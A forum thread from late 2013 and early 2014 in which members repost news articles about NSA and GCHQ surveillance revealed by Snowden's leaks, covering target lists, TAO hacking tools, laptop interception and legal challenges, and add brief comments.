Britain’s Government Communications Headquarters, working closely with the National Security Agency, monitored the communications of senior European Union officials, foreign leaders including African heads of state and sometimes their family members, directors of United Nations and other relief programs, and officials overseeing oil and finance ministries, according to the documents. In addition to Israel, some targets involved close allies like France and Germany, where tensions have already erupted over recent revelations about spying by the N.S.A.

Details of the surveillance are described in documents from the N.S.A. and Britain’s eavesdropping agency, known as GCHQ, dating from 2008 to 2011. The target lists appear in a set of GCHQ reports that sometimes identify which agency requested the surveillance, but more often do not. The documents were leaked by the former N.S.A. contractor Edward J. Snowden and shared by The New York Times, The Guardian and Der Spiegel.

The reports are spare, technical bulletins produced as the spies, typically working out of British intelligence sites, systematically tapped one international communications link after another, focusing especially on satellite transmissions. The value of each link is gauged, in part, by the number of surveillance targets found to be using it for emails, text messages or phone calls. More than 1,000 targets, which also include people suspected of being terrorists or militants, are in the reports.

It is unclear what the eavesdroppers gleaned. The documents include a few fragmentary transcripts of conversations and messages, but otherwise contain only hints that further information was available elsewhere, possibly in a larger database.

Some condemned the surveillance on Friday as unjustified and improper. “This is not the type of behavior that we expect from strategic partners,” Pia Ahrenkilde Hansen, a spokeswoman for the European Commission, said on the latest revelations of American and British spying in Europe.

Some of the surveillance relates to issues that are being scrutinized by President Obama and a panel he appointed in Washington that on Wednesday recommended tighter limits on the N.S.A., particularly on spying of foreign leaders, especially allies.

The reports show that spies monitored the email traffic of several Israeli officials, including one target identified as “Israeli prime minister,” followed by an email address. The prime minister at the time, in January 2009, was Ehud Olmert. The next month, spies intercepted the email traffic of the Israeli defense minister, Ehud Barak, according to another report. Two Israeli embassies also appear on the target lists.

Mr. Olmert said in a telephone interview on Friday that the email address was used for correspondence with his office, which he said staff members often handled. He added that it was unlikely that any secrets could have been compromised.

“This was an unimpressive target,” Mr. Olmert said. He noted, for example, that his most sensitive discussions with President George W. Bush took place in person. “I would be surprised if there was any attempt by American intelligence in Israel to listen to the prime minister’s lines,” he said.

Mr. Barak, who declined to comment, has said publicly that he used to take it for granted that he was under surveillance.

Despite the close ties between the United States and Israel, the record of mutual spying is long: Israeli spies, including Jonathan Jay Pollard, who was sentenced in 1987 to life in prison for passing intelligence information to Israel, have often operated in the United States, and the United States has often turned the abilities of the N.S.A. against Israel.

Mr. Olmert’s office email was intercepted while he was dealing with fallout from Israel’s military response to rocket attacks from Gaza, but also at a particularly tense time in relations with the United States. The two countries were simultaneously at odds on Israeli preparations to attack Iran’s nuclear program and cooperating on a wave of cyberattacks on Iran’s major nuclear enrichment facility.

A year before the interception of Mr. Olmert’s office email, the documents listed another target, the Institute of Physics at the Hebrew University of Jerusalem, an internationally recognized center for research in atomic and nuclear physics.

Also appearing on the surveillance lists is Joaquín Almunia, vice president of the European Commission, which, among other powers, has oversight of antitrust issues in Europe. The commission has broad authority over local and foreign companies, and it has punished a number of American companies, including Microsoft and Intel, with heavy fines for hampering fair competition. The reports say that spies intercepted Mr. Almunia’s communications in 2008 and 2009.

Mr. Almunia, a Spaniard, assumed direct authority over the commission’s antitrust office in 2010. He has been involved in a three-year standoff with Google over how the company runs its search engine. Competitors of the online giant had complained that it was prioritizing its own search results and using content like travel reviews and ratings from other websites without permission. While pushing for a settlement with Google, Mr. Almunia has warned that the company could face large fines if it does not cooperate.

The surveillance reports do not specify whether the interceptions of Mr. Almunia’s communications were requested by the N.S.A. or British spies. Nor do the reports make clear whether he was a longstanding surveillance target or swept up as part of a fleeting operation. Contacted by The Times, Mr. Almunia said he was “strongly upset” about the spying.

Ms. Hansen, the spokeswoman for the European Commission, said that it was already engaged in talks with the United States that were “needed to restore trust and confidence in the trans-Atlantic relationship.” She added that “the commission will raise these new allegations with U.S. and U.K. authorities.”

In a statement, the N.S.A. denied that it had ever carried out espionage to benefit American businesses.

“We do not use our foreign intelligence capabilities to steal the trade secrets of foreign companies on behalf of — or give intelligence we collect to — U.S. companies to enhance their international competitiveness or increase their bottom line,” said Vanee Vines, an N.S.A. spokeswoman.

But she added that some economic spying was justified by national security needs. “The intelligence community’s efforts to understand economic systems and policies, and monitor anomalous economic activities, are critical to providing policy makers with the information they need to make informed decisions that are in the best interest of our national security,” Ms. Vines said.

Spies have a freer hand with economic targets in Britain, where the law permits intelligence gathering in the service of the “economic well-being” of the country. A GCHQ spokesman said that its policy was not to comment on intelligence matters, but that the agency “takes its obligations under the law very seriously.”

At the request of GCHQ, The Times agreed to withhold some details from the documents because of security concerns.

The surveillance reports show American and British spies’ deep appetite for information. The French companies Total, the oil and gas giant, and Thales, an electronics, logistics and transportation outfit, appear as targets, as do a French ambassador, an “Estonian Skype security team” and the German Embassy in Rwanda.

Germany is especially sensitive about American spying since reports emerged that the agency listened to Chancellor Angela Merkel’s cellphone calls. Negotiations for a proposed agreement between Germany and the United States on spying rules have recently stalled for several reasons, including the United States’ guarantee only that it would never spy on the chancellor — a promise it has refused to extend to other German officials.

Multiple United Nations Missions in Geneva are listed as targets, including Unicef and the United Nations Institute for Disarmament Research. So is Médecins du Monde, a medical relief organization that goes into war-ravaged areas. Leigh Daynes, an executive director of the organization in Britain, responded to news about the surveillance by saying: “There is absolutely no reason for our operations to be secretly monitored.”

More obvious intelligence targets are also listed, though in smaller numbers, including people identified as “Israeli grey arms dealer,” “Taleban ministry of refugee affairs” and “various entities in Beijing.” Some of those included are described as possible members of Al Qaeda, and as suspected extremists or jihadists.

While few if any American citizens appear to be named in the documents, they make clear that some of the intercepted communications either began or ended in the United States and that N.S.A. facilities carried out interceptions around the world in collaboration with their British partners. Some of the interceptions appear to have been made at the Sugar Grove, W.Va., listening post run by the N.S.A. and code-named Timberline, and some are explicitly tied to N.S.A. target lists in the reports.

Many of the reports, written by British teams specializing in Sigint, shorthand for “signals intelligence,” are called “Bude Sigint Development Reports,” referring to a British spy campus on the Cornwall coast. The reports often reveal which countries were the endpoints for the intercepted communications, and information on which satellite was carrying the traffic.

Strengthening the likelihood that full transcripts were taken during the intercepts is the case of Mohamed Ibn Chambas, an official of the Economic Community of West African States, known as Ecowas, a regional initiative of 15 countries that promotes economic and industrial activity. Whether intentionally or through some oversight, when Mr. Chambas’s communications were intercepted in August 2009, dozens of his complete text messages were copied into one of the reports.

Referred to in the transcripts as “Dr. Chambers,” he seems to have been monitored during an especially humdrum day or two of travel. “Am glad yr day was satisfying,” Mr. Chambas texted one acquaintance. “I spent my whole day travelling ... Had to go from Abidjan to Accra to catch a flt to Monrovia ... The usual saga of intra afr.”

Later he recommended a book, “A Colonial History of Northern Ghana,” to the same person. “Interesting and informative,” Mr. Chambas texted. The high point of his day was receiving an award in Liberia, but soon he was busy working out logistics for future appointments.

“Where is the conference pl? Didnt get the invt,” he texted another contact. He discussed further details before adding, perhaps wistfully, given his grinding travel schedule: “Have a restful Sunday.”


Katrin Bennhold contributed reporting from London, David E. Sanger from Washington, and Ethan Bronner from New York.

This article has been revised to reflect the following correction:

Correction: December 20, 2013


An earlier version of this article misidentified the office held by Angela Merkel of Germany. She is chancellor, not prime minister.


A version of this article appears in print on December 21, 2013, on page A1 of the New York edition with the headline: U.S. and Britain Extended Spying To 1,000 Targets .
Title: Re: they know what you are doing
Post by: sky otter on December 24, 2013, 07:54:25 am


http://usnews.nbcnews.com/_news/2013/12/24/22029559-nsa-leaker-edward-snowden-missions-already-accomplished?lite


NSA leaker Edward Snowden: 'Mission's already accomplished'


By Alastair Jamieson, Staff writer, NBC News
National Security Agency leaker Edward Snowden said his "mission's already accomplished" and spoke of having “personal satisfaction” at the revelations about U.S. surveillance policies in an interview published Tuesday.

The former intelligence contractor, who exposed extensive details of global electronic surveillance by the U.S. spy agency, said he was not being disloyal to the U.S. or to his former employer.

"I am not trying to bring down the NSA, I am working to improve the NSA," he told The Washington Post. "I am still working for the NSA right now. They are the only ones who don't realize it."

It is the first full interview with Snowden, now 30, since he arrived in Moscow in June in a dramatic bid to evade prosecution by authorities in the U.S., where he is charged with espionage and felony theft of government property.

He has been granted temporary asylum by Russia, and remains at an undisclosed location, but his long-term future status remains unclear.

"For me, in terms of personal satisfaction, the mission's already accomplished," he said in the interview, which was accompanied by what appeared to be new pictures. "I already won."

“As soon as the journalists were able to work, everything that I had been trying to do was validated,” he said. “I didn't want to change society. I wanted to give society a chance to determine if it should change itself."

President Barack Obama hinted Friday that he would consider some changes to NSA's bulk collection of Americans' phone records to address the public's concern about privacy. His comments came in a week in which a federal judge declared the NSA's collection program probably was unconstitutional. A presidential advisory panel has suggested 46 changes to NSA operations, The Associated Press reported.

Snowden also revealed himself to be "an indoor cat", adding that he rarely left the house where he was staying in Moscow.

“As long as I can sit down and think and write and talk to somebody, that's more meaningful to me than going out and looking at landmarks."

He also told the Post: “There is no evidence at all for the claim that I have loyalties to Russia or China or any country other than the United States,” he said. "I have no relationship with the Russian government. I have not entered into any agreements with them.”

“If I defected at all,” Snowden said, “I defected from the government to the public.”

The Associated Press contributed to this story

............................................


longer version

http://www.huffingtonpost.com/2013/12/23/edward-snowden-mission-accomplished_n_4496020.html

Edward Snowden: 'Mission's Already Accomplished... I Already Won'
 AP  |  Posted: 12/23/2013 10:34 pm EST  |  Updated: 12/24/2013 12:28 am EST

Title: Re: they know what you are doing
Post by: stealthyaroura on December 24, 2013, 05:22:24 pm
aye well now the payback! (i see you covered this sky)
The UK, Boeing to be precise have just lost a HUGE order to build and supply the eurofighter
to some of the middle eastern powers thanks to our ties with the NSA.

Way to bloody go pillocks! >:( lost out to SAAB. thats a massive economic blow to my country!

lets see how good the nosey kuntz are at keeping track of the pick pocketing Romanians
that are getting ready to flood the UK!

oh thats right they cant even keep track of the sick dangerous NONCES can they! >:( FUMING!!!! 
Title: Re: they know what you are doing
Post by: astr0144 on December 25, 2013, 05:54:42 pm
Hi Sky,

I did initially look at your thread many weeks ago, but have not kept up on it as yet...Initially I had not realised it was directly connected to Ed Snowden even though along the same lines.

Sorry  :-[  if my link below crossed paths...but its title does at least relate to Ed Snowden which now does connect to this thread as well !

Hope thats Ok  :)

Here is a short Video I found that says its related to the Interview he was supposed to have done over Christmas eve/day.. that unfortunately If he did it I missed it...

Hopefully it  will be repeated or the full version loaded to youtube for all of us to see..


http://uk.news.yahoo.com/video/snowden-releases-christmas-video-push-224542619.html


http://www.thelivingmoon.com/forum/index.php?topic=5906.msg81720;boardseen#new
Title: Re: they know what you are doing
Post by: sky otter on December 25, 2013, 07:54:18 pm


astro
it's all good...  ;D
there is so much here that it is easy to miss stuff

i like the idea of adding to old threads to continue them and to cross referencing like we just did here.. that way  you can find more and just have to remember one spot to start

hugs
Title: Re: they know what you are doing
Post by: sky otter on December 26, 2013, 12:20:31 pm


yep..here it is


http://www.youtube.com/watch?v=WqkpxMrxWkI

[youtube]http://www.youtube.com/watch?v=WqkpxMrxWkI[/youtube]
Title: Re: they know what you are doing
Post by: sky otter on December 29, 2013, 05:51:43 pm
http://www.huffingtonpost.com/2013/12/29/nsa-hacking-tactics-_n_4515897.html


NSA Hacking Tactics Revealed By Der Spiegel

By RAPHAEL SATTER 12/29/13 01:03 PM ET EST 



LONDON (AP) — A German magazine lifted the lid on the operations of the National Security Agency's hacking unit Sunday, reporting that American spies intercept computer deliveries, exploit hardware vulnerabilities, and even hijack Microsoft's internal reporting system to spy on their targets.

Der Spiegel's revelations relate to a division of the NSA known as Tailored Access Operations, or TAO, which is painted as an elite team of hackers specializing in stealing data from the toughest of targets.

Citing internal NSA documents, the magazine said Sunday that TAO's mission was "Getting the ungettable," and quoted an unnamed intelligence official as saying that TAO had gathered "some of the most significant intelligence our country has ever seen."

Der Spiegel said TAO had a catalog of high-tech gadgets for particularly hard-to-crack cases, including computer monitor cables specially modified to record what is being typed across the screen, USB sticks secretly fitted with radio transmitters to broadcast stolen data over the airwaves, and fake base stations intended to intercept mobile phone signals on the go.

The NSA doesn't just rely on James Bond-style spy gear, the magazine said. Some of the attacks described by Der Spiegel exploit weaknesses in the architecture of the Internet to deliver malicious software to specific computers. Others take advantage of weaknesses in hardware or software distributed by some of the world's leading information technology companies, including Cisco Systems, Inc. and China's Huawei Technologies Ltd., the magazine reported.

Der Spiegel cited a 2008 mail order catalog-style list of vulnerabilities that NSA spies could exploit from companies such as Irvine, California-based Western Digital Corp. or Round Rock, Texas-based Dell Inc. The magazine said that suggested the agency was "compromising the technology and products of American companies."

Old-fashioned methods get a mention too. Der Spiegel said that if the NSA tracked a target ordering a new computer or other electronic accessories, TAO could tap its allies in the FBI and the CIA, intercept the hardware in transit, and take it to a secret workshop where it could be discretely fitted with espionage software before being sent on its way.

Intercepting computer equipment in such a way is among the NSA's "most productive operations," and has helped harvest intelligence from around the world, one document cited by Der Spiegel stated.

One of the most striking reported revelations concerned the NSA's alleged ability to spy on Microsoft Corp.'s crash reports, familiar to many users of the Windows operating system as the dialogue box which pops up when a game freezes or a Word document dies. The reporting system is intended to help Microsoft engineers improve their products and fix bugs, but Der Spiegel said the NSA was also sifting through the reports to help spies break into machines running Windows. One NSA document cited by the magazine appeared to poke fun at Microsoft's expense, replacing the software giant's standard error report message with the words: "This information may be intercepted by a foreign sigint (signals intelligence) system to gather detailed information and better exploit your machine."

Microsoft did not immediately return a call seeking comment, but the company is one of several U.S. firms that have demanded more transparency from the NSA — and worked to bolster their security — in the wake of the revelations of former intelligence worker Edward Snowden, whose disclosures have ignited an international debate over privacy and surveillance.

Der Spiegel did not explicitly say where its cache NSA documents had come from, although the magazine has previously published a series of stories based on documents leaked by Snowden, and one of Snowden's key contacts — American documentary filmmaker Laura Poitras — was listed among the article's six authors.

No one was immediately available at Der Spiegel to clarify whether Snowden was the source for the latest story.

___

Geir Moulson in Berlin contributed to this report.
Title: Re: they know what you are doing
Post by: sky otter on December 31, 2013, 09:10:33 am


http://www.huffingtonpost.com/2013/12/31/nsa-iphone-spy_n_4519968.html


The NSA Can Use Your iPhone To Spy On You, Expert Says


AP  |  By By RAPHAEL SATTER
Posted: 12/30/2013 2:04 pm EST


LONDON (AP) — A well-known privacy advocate has given the public an unusually explicit peek into the intelligence world's tool box, pulling back the curtain on the National Security Agency's arsenal of high-tech spy gear.

Independent journalist and security expert Jacob Appelbaum on Monday told a hacker conference in Germany that the NSA could turn iPhones into eavesdropping tools and use radar wave devices to harvest electronic information from computers, even if they weren't online.

Appelbaum told hundreds of computer experts gathered at Hamburg's Chaos Communications Conference that his revelations about the NSA's capabilities "are even worse than your worst nightmares."

"What I am going to show you today is wrist-slittingly depressing," he said.

Even though in the past six months there have been an unprecedented level of public scrutiny of the NSA and its methods, Appelbaum's claims — supported by what appeared to be internal NSA slideshows — still caused a stir.

One of the slides described how the NSA can plant malicious software onto Apple Inc.'s iPhone, giving American intelligence agents the ability to turn the popular smartphone into a pocket-sized spy.



(http://i58.servimg.com/u/f58/13/55/53/83/o-drop10.jpg)


Another slide showcased a futuristic-sounding device described as a "portable continuous wave generator," a remote-controlled device which — when paired with tiny electronic implants — can bounce invisible waves of energy off keyboards and monitors to see what is being typed, even if the target device isn't connected to the Internet.

A third slide showcased a piece of equipment called NIGHTSTAND, which can tamper with wireless Internet connections from up to 8 miles (13 kilometers) away.

An NSA spokeswoman, Vanee Vines, said that she wasn't aware of Appelbaum's presentation, but that in general should would not comment on "alleged foreign intelligence activities."

"As we've said before, NSA's focus is on targeting the communications of valid foreign intelligence targets — not on collecting and exploiting a class of communications or services that would sweep up communications that are not of bona fide foreign intelligence interest to the U.S. government."

The documents included in Appelbaum's presentation were first published by German magazine Der Spiegel on Sunday and Monday.

Appelbaum and Der Spiegel have both played an important role in the disclosures of NSA leaker Edward Snowden, but neither has clarified whether the most recent set of slides came from Snowden.


[youtube]
http://www.youtube.com/watch?v=b0w36GAyZIA[/youtube]

Title: Re: they know what you are doing
Post by: sky otter on December 31, 2013, 09:24:41 am



http://www.huffingtonpost.com/2013/12/30/aclu-sues-nsa_n_4520948.html



aol vid here..go to link


ACLU Sues NSA For Details Of U.S. Surveillance Under Executive Order

 
Reuters  |  Posted: 12/30/2013 5:51 pm EST  |  Updated: 12/31/2013 11:03 am EST



By Nate Raymond

NEW YORK, Dec 30 (Reuters) - The American Civil Liberties Union filed a lawsuit on Monday, seeking to force the U.S. government to disclose details of its foreign electronic surveillance program and what protections it provides to Americans whose communications are swept up.

The lawsuit, filed in U.S. District Court in New York, came three days after the ACLU lost a bid to block a separate program that collects the phone calls of millions of Americans.

The latest lawsuit seeks information related to the use of Executive Order 12333, which was signed in 1981 and governs surveillance of foreign targets.

Under the order, the National Security Administration is collecting "vast quantities" of data globally under the order's authority, "inevitably" including communications of U.S. citizens, the lawsuit said.

The lawsuit cites "recent revelations," an apparent reference to reports about U.S. spying activities in the wake of leaks by former NSA contractor Edward Snowden.

"This FOIA request seeks, in part, to determine what protections are afforded to those U.S. persons and whether those protections are consistent with the Constitution," it said.

A Justice Department spokesman said the government would respond to the lawsuit in court.

The lawsuit follows a series of requests to U.S. agencies for the information under the Freedom of Information Act that it said have not resulted in substantive responses.

Alex Abdo, an ACLU staff attorney, said in a blog post that the government was using the order as a way to spy on U.S. citizens' international communications.

"The core of the problem is that the NSA has, for years, relied upon its authority to gather foreign intelligence as permission to conduct sweeping surveillance of Americans' international communications," Abdo wrote.

The lawsuit cites news reports indicating that under the order, the NSA is collecting data on cell phone locations and email contact lists, as well as information from Google Inc and Yahoo Inc user accounts.

Among the records sought by the ACLU are any construing or interpreting the scope of agencies' authority under the executive order.

It also seeks records describing minimization procedures used by the agencies related to intelligence collection and interpretation pursuant to the order.

The lawsuit names as defendants the NSA, Central Intelligence Agency, Defense Department, Justice Department and State Department.

The case is American Civil Liberties Union et al v. National Security Agency et al, U.S. District Court, Southern District of New York, No. 13-9198.
Title: Re: they know what you are doing
Post by: burntheships on January 01, 2014, 09:15:02 pm
Sky, thank you for keeping the thread up to date!
 :)

Here are a few hot off the press reports. While those
of us who are paranoid might have suspected this,
who really wipes a new computer?  ;)

Dont raise your hands.... ;D

(http://b-i.forbesimg.com/erikkain/files/2013/12/octopus.jpg)

Report: NSA Intercepting Laptops Ordered Online, Installing Spyware

Quote
The latest report, this time via Der Spiegel and based on internal NSA documents, reveals that the NSA, in conjunction with the CIA and FBI, has begun intercepting laptops purchased online in order to install (quite literal) spyware and even hardware on the machines. The NSA terms this “interdiction.” Agents divert shipments to secret warehouses, carefully open the packages, install the software and/or hardware, and send them on their way.

According to the report, this operation is carried out by the NSA’s elite hacking unit, or TAO—not to be confused with the much less imposing Taoism—though there are few details on the scope or targets of the program.

The spy agency reportedly has backdoor access to numerous hardware and software systems from prominent tech companies such as Cisco, Dell, and Western Digital, among others. The NSA can even exploit Microsoft Windows error reports to find weak spots in compromised machines in order to install Trojans and other viruses.

The Der Spiegel report also notes that the NSA has successfully tapped into some of the massive, under-sea fiber-optic cables that connect the global data infrastructure, in particular the “SEA-ME-WE-4? cable system.

“This massive underwater cable bundle connects Europe with North Africa and the Gulf states and then continues on through Pakistan and India,” Der Spiegel reports, ”all the way to Malaysia and Thailand. The cable system originates in southern France, near Marseille. Among the companies that hold ownership stakes in it are France Telecom, now known as Orange and still partly government-owned, and Telecom Italia Sparkle.”

As the aforementioned giant octopus logo proudly proclaims: “Nothing is beyond our reach.” Lately it appears that this is not so much boasting as a simple statement of fact.
 

http://www.forbes.com/sites/erikkain/2013/12/29/report-nsa-intercepting-laptops-ordered-online-installing-spyware/

Title: Re: they know what you are doing
Post by: sky otter on January 01, 2014, 09:27:03 pm


thanks for jumpin in BTS....privacy is  not in existense anymore  :(
Title: Re: they know what you are doing
Post by: burntheships on January 01, 2014, 09:55:41 pm

privacy is  not in existense anymore  :(

:(   ....and just what do they have in mind for our
futures pray tell? That, dear peeps is the real question.

Anywho, build your own is looking like the only way,
then keep Gates and Jobs out of it from there out.

As for you phone, well your screwed there peeps.

Happy New Year!
 ;)
Title: Re: they know what you are doing
Post by: sky otter on January 02, 2014, 02:37:54 pm


http://www.huffingtonpost.com/2014/01/02/edward-snowden-clemency_n_4529563.html


Edward Snowden Clemency:

The New York Times, The Guardian Urge Obama To Help NSA Whistleblower


Posted: 01/02/2014 12:44 am EST  |  Updated: 01/02/2014 10:25 am EST

The editorial boards of The New York Times and The Guardian published editorials on Wednesday, urging the Obama administration to treat Edward Snowden as a whistleblower and offer him some form of clemency.

Seven months ago, the former National Security Administration contractor stole as many as 1.7 million highly classified documents about the U.S. government's surveillance program and released the information to the press. The files revealed how the NSA forced American technology companies to reveal customer information, often without individual warrants, and how data from global phone and Internet networks was secretly intercepted.

While the release of these documents forced Snowden to flee the U.S. and move to Russia, it also alerted the American public -- and many U.S. allies -- of the government's intrusive, unethical and possibly unlawful spying efforts.

Beyond sparking public debate, Snowden's actions have prompted the American Civil Liberties Union to sue the NSA. The suit aims to force the U.S. government to disclose details of its electronic surveillance program and describe what protections it provides to Americans whose communications are swept up during the search for terrorist suspects, Reuters reported.

Eight major technology companies -- including Google, Facebook and Twitter -- have also joined forces to call for tighter controls on government surveillance.

To date, two federal judges have accused the NSA of violating the Constitution, and a panel appointed by President Barack Obama has blasted the agency's spying efforts and called for an overhaul of the program.

On Wednesday night, the editorial board of The New York Times published an editorial that not only described Snowden as a whistleblower but also called on the government to give him clemency.

Considering the enormous value of the information he has revealed, and the abuses he has exposed, Mr. Snowden deserves better than a life of permanent exile, fear and flight. He may have committed a crime to do so, but he has done his country a great service. It is time for the United States to offer Mr. Snowden a plea bargain or some form of clemency that would allow him to return home, face at least substantially reduced punishment in light of his role as a whistle-blower, and have the hope of a life advocating for greater privacy and far stronger oversight of the runaway intelligence community.
The Times noted that none of Snowden's revelations have done profound damage to the intelligence operations of the U.S., nor have his disclosures hurt national security. However, his efforts have exposed the federal government's lack of respect for privacy and constitutional protections.

When someone reveals that government officials have routinely and deliberately broken the law, that person should not face life in prison at the hands of the same government.
The Guardian, which has been at the forefront of the Snowden story from the very beginning, is also calling for clemency.

Snowden gave classified information to journalists, even though he knew the likely consequences. That was an act of courage.
In November, the White House rejected a clemency plea from Snowden, and told him to return to the U.S. to face trial.

..................................................



and the article right after this one will surely make you laugh


Americans' Faith In Government Is In The Toilet

http://www.huffingtonpost.com/2014/01/02/americans-faith-governmen_n_4530627.html
Title: Re: they know what you are doing
Post by: ArMaP on January 02, 2014, 03:01:46 pm
Anywho, build your own is looking like the only way,
then keep Gates and Jobs out of it from there out.
If you don't connect it to the Internet...
Title: Re: they know what you are doing
Post by: burntheships on January 02, 2014, 06:42:31 pm
If you don't connect it to the Internet...

and you are correct....though what fun is that?
 ;D

This is where they have us, I think.
Title: Re: they know what you are doing
Post by: sky otter on January 02, 2014, 07:18:16 pm
http://www.washingtonpost.com/world/national-security/nsa-seeks-to-build-quantum-computer-that-could-crack-most-types-of-encryption/2014/01/02/8fff297e-7195-11e3-8def-a33011492df2_story.html



NSA seeks to build quantum computer that could crack most types of encryption


ArticleMoreBy Steven Rich and Barton Gellman, Updated: Thursday, January 2, 5:00 PME-mail the writers


In room-size metal boxes, secure against electromagnetic leaks, the National Security Agency is racing to build a computer that could break nearly every kind of encryption used to protect banking, medical, business and government records around the world.

According to documents provided by former NSA contractor Edward Snowden, the effort to build “a cryptologically useful quantum computer” — a machine exponentially faster than classical computers — is part of a $79.7 million research program titled, “Penetrating Hard Targets.” Much of the work is hosted under classified contracts at a laboratory in College Park.

.[Read an annotated description of the Penetrating Hard Targets project]

Classifying the NSA's efforts
The agency describes classification levels for information related to quantum computing. Read it.
http://apps.washingtonpost.com/g/page/world/a-description-of-the-penetrating-hard-targets-project/691/



"If you think you understand quantum mechanics, you don't understand quantum mechanics," said the late Nobel laureate Richard Feynman, widely regarded as the pioneer in quantum computing. The science video blog Vertiasium tries to help make sense of it.


The development of a quantum computer has long been a goal of many in the scientific community, with revolutionary implications for fields like medicine as well as for the NSA’s code-breaking mission. With such technology, all current forms of public key encryption would be broken, including those used on many secure Web sites as well as the type used to protect state secrets.

Physicists and computer scientists have long speculated whether the NSA’s efforts are more advanced than those of the best civilian labs. Although the full extent of the agency’s research remains unknown, the documents provided by Snowden suggest that the NSA is no closer to success than others in the scientific community.

“It seems improbable that the NSA could be that far ahead of the open world without anybody knowing it,” said Scott Aaronson, an associate professor of electrical engineering and computer science at MIT.

The NSA appears to regard itself as running neck and neck with quantum computing labs sponsored by the European Union and the Swiss government, with steady progress but little prospect of an immediate breakthrough.

“The geographic scope has narrowed from a global effort to a discrete focus on the European Union and Switzerland,” one NSA document states.

Seth Lloyd, professor of quantum mechanical engineering at MIT, said the NSA’s focus is not misplaced. “The E.U. and Switzerland have made significant advances over the last decade and have caught up to the U.S. in quantum computing technology,” he said.

The NSA declined to comment for this story.

The documents, however, indicate that the agency carries out some of its research in large, shielded rooms known as Faraday cages, which are designed to prevent electromagnetic energy from coming in or out. Those, according to one brief description, are required “to keep delicate quantum computing experiments running.”

[Read a document describing classification levels related to quantum computing efforts]

http://apps.washingtonpost.com/g/page/world/classifying-nsa-quantum-computing-efforts/692/


The basic principle underlying quantum computing is known as “quantum superposition,” the idea that an object simultaneously exists in all states. A classical computer uses binary bits, which are either zeroes or ones. A quantum computer uses quantum bits, or qubits, which are simultaneously zero and one.

This seeming impossibility is part of the mystery that lies at the heart of quantum theory, which even theoretical physicists say no one completely understands.

“If you think you understand quantum mechanics, you don’t understand quantum mechanics,” said the late Nobel laureate Richard Feynman, who is widely regarded as the pioneer in quantum computing.

Here’s how it works, in theory: While a classical computer, however fast, must do one calculation at a time, a quantum computer can sometimes avoid having to make calculations that are unnecessary to solving a problem. That allows it to home in on the correct answer much more quickly and efficiently.

Quantum computing is so difficult to attain because of the fragile nature of such computers. In theory, the building blocks of such a computer might include individual atoms, photons or electrons. To maintain the quantum nature of the computer, these particles would need to be carefully isolated from their external environments.

“Quantum computers are extremely delicate, so if you don’t protect them from their environment, then the computation will be useless,” said Daniel Lidar, a professor of electrical engineering and the director of the Center for Quantum Information Science and Technology at the University of Southern California.

A working quantum computer would open the door to easily breaking the strongest encryption tools in use today, including a standard known as RSA, named for the initials of its creators. RSA scrambles communications, making them unreadable to anyone but the intended recipient, without requiring the use of a shared password. It is commonly used in Web browsers to secure financial transactions and in encrypted e-mails. RSA is used because of the difficulty of factoring the product of two large prime numbers. Breaking the encryption involves finding those two numbers. This cannot be done in a reasonable amount of time on a classical computer.

In 2009, computer scientists using classical methods were able to discover the primes within a 768-bit number, but it took almost two years and hundreds of computers to factor it. The scientists estimated that it would take 1,000 times longer to break a 1,024-bit encryption key, which is commonly used for online transactions.

A large-scale quantum computer, however, could theoretically break a 1,024-bit encryption much faster. Some leading Internet companies are moving to 2,048-bit keys, but even those are thought to be vulnerable to rapid decryption with a quantum computer.

Quantum computers have many applications for today’s scientific community, including the creation of artificial intelligence. But the NSA fears the implications for national security.

“The application of quantum technologies to encryption algorithms threatens to dramatically impact the US government’s ability to both protect its communications and eavesdrop on the communications of foreign governments,” according to an internal document provided by Snowden.

Experts are not sure how soon a quantum computer would be feasible. A decade ago, some experts said that developing a large quantum computer was likely 10 to 100 years in the future. Five years ago, Lloyd said the goal was at least 10 years away.

Last year, Jeff Forshaw, a professor at the University of Manchester, told Britain’s Guardian newspaper, “It is probably too soon to speculate on when the first full-scale quantum computer will be built but recent progress indicates that there is every reason to be optimistic.”

“I don’t think we’re likely to have the type of quantum computer the NSA wants within at least five years, in the absence of a significant breakthrough maybe much longer,” Lloyd told The Post in a recent interview.

However, some companies claim to already be producing small quantum computers. A Canadian company, D-Wave Systems , says it has been making quantum computers since 2009. In 2012, it sold a $10 million version to Google, NASA and the Universities Space Research Association, according to news reports.

That quantum computer, however, would never be useful for breaking public key encryption like RSA.

“Even if everything they’re claiming is correct, that computer, by its design, cannot run Shor’s algorithm,” said Matthew Green, a research professor at the Johns Hopkins Information Security Institute, referring to the algorithm that could be used to break encryption like RSA.

Experts think that one of the largest hurdles to breaking encryption with a quantum computer is building a computer with enough qubits, which is difficult given the very fragile state of quantum computers. By the end of September, the NSA expected to be able to have some basic building blocks, which it described in a document as “dynamical decoupling and complete quantum control on two semiconductor qubits.”

“That’s a great step, but it’s a pretty small step on the road to building a large-scale quantum computer,” Lloyd said.

A quantum computer capable of breaking cryptography would need hundreds or thousands more qubits than that.

The budget for the National Intelligence Program, commonly referred to as the “black budget,” details the “Penetrating Hard Targets” project and noted that this step “will enable initial scaling towards large systems in related and follow-on efforts.”

Another project, called the “Owning the Net,” is using quantum research to support the creation of new quantum-based attacks on encryptions like RSA, documents show.

“The irony of quantum computing is that if you can imagine someone building a quantum computer that can break encryption a few decades into the future, then you need to be worried right now,” Lidar said.





you scared yet?
Title: Re: they know what you are doing
Post by: sky otter on January 04, 2014, 12:00:42 pm

http://www.washingtonpost.com/world/national-security/justice-dept-appeals-ruling-against-nsa-collection-of-phone-data/2014/01/03/6e22441e-74c2-11e3-8def-a33011492df2_story.html

Ruling against NSA collection of phone data is appealed


By Sari Horwitz, Published: January 3E-mail the writer
The Justice Department on Friday appealed the ruling of a federal judge who said the National Security Agency’s massive collection of domestic telephone data was almost certainly unconstitutional.

The Justice Department’s filing to the U.S. Court of Appeals for the D.C. Circuit follows a Dec. 16 ruling by U.S. District Judge Richard J. Leon that granted a request for an injunction and blocked the collection of the phone data for conservative legal activist Larry Klayman and a co-plaintiff.

Leon, who was nominated by President George W. Bush and appointed to the bench in 2002, stayed his decision to allow the Justice Department time to appeal. But in a strongly worded opinion, he rejected the government’s arguments that the program is legal.

The “almost-Orwellian technology” that allows the government to collect, store and analyze phone metadata is “unlike anything that could have been conceived in 1979” and is “at best, the stuff of science fiction,” Leon wrote.

In 1979, the Supreme Court ruled that Americans have no reasonable expectation of privacy in records of their calls that are held by phone companies, and the court said that a warrant to collect them is not required.

